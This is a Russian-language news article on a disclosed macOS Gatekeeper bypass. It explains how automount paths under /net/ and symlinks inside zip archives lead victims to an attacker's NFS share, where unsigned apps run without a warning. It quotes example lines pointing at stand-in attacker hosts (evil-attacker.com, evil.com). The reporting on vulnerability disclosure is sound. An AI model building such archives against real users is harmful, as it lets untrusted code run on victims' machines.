Исследователь обнаружил уязвимость в механизме безопасности Gatekeeper macOS

Исследователь безопасности Филиппо Кавальярин обнародовал то, что он называет способом обойти функцию безопасности Gatekeeper в macOS. На момент выхода macOS 10.14.5 на прошлой неделе Apple еще не устранила эту уязвимость.

Gatekeeper — это инструмент безопасности macOS, который проверяет приложения сразу после их загрузки. Это предотвращает запуск приложений без согласия пользователя. Когда пользователь загружает приложение не из Mac App Store, Gatekeeper используется для проверки того, что код подписан Apple. Если код не подписан, приложение не откроется без прямого разрешения пользователя.

Однако Кавальярин пишет в своем блоге, что функциональность Gatekeeper можно полностью обойти. В текущей реализации Gatekeeper считает внешние диски и сетевые ресурсы «безопасными расположениями». Это означает, что он позволяет любому приложению, находящемуся в этих расположениях, запускаться без повторной проверки кода. Далее он объясняет, что пользователя можно «легко» обмануть, чтобы он подключил сетевой диск, и тогда все, что находится в этой папке, сможет пройти проверку Gatekeeper.

Исследователь безопасности объясняет:

Первая легитимная функция — это automount (также известная как autofs), которая позволяет пользователю автоматически монтировать сетевой ресурс, просто обратившись к «специальному» пути, в данном случае к любому пути, начинающемуся с «/net/».

Например, «ls /net/evil-attacker.com/sharedfolder/» заставит ОС прочитать содержимое «sharedfolder» на удаленном хосте (evil-attacker.com) с использованием NFS.

Вторая легитимная функция заключается в том, что zip-архивы могут содержать символические ссылки, указывающие на произвольное расположение (включая точки монтирования), и что программное обеспечение на MacOS, отвечающее за распаковку zip-файлов, не выполняет никаких проверок символических ссылок перед их созданием.

Пример того, как это могло бы работать:

Чтобы лучше понять, как работает этот эксплойт, рассмотрим следующий сценарий:
Злоумышленник создает zip-файл, содержащий символическую ссылку на контролируемую им конечную точку автозагрузки (например, Documents -> /net/evil.com/Documents), и отправляет его жертве.

Жертва загружает вредоносный архив, распаковывает его и переходит по символической ссылке.

Теперь жертва находится в расположении, контролируемом злоумышленником, но доверенном Gatekeeper, поэтому любой исполняемый файл, контролируемый злоумышленником, может быть запущен без предупреждения. Способ проектирования Finder (например, скрытие расширений .app, скрытие полного пути в заголовке окна) делает эту технику очень эффективной и труднообнаружимой.

Кавальярин говорит, что уведомил Apple об этом недостатке 22 февраля, и компания должна была устранить его с выходом macOS 10.14.5 на прошлой неделе. Однако на момент выхода этого обновления лазейка остается неустраненной, и Кавальярин утверждает, что Apple перестала отвечать на его электронные письма. Он публикует информацию об уязвимости сегодня, поскольку 90-дневный срок, предоставленный им Apple, истек.

Посмотрите демонстрацию уязвимости в видео ниже: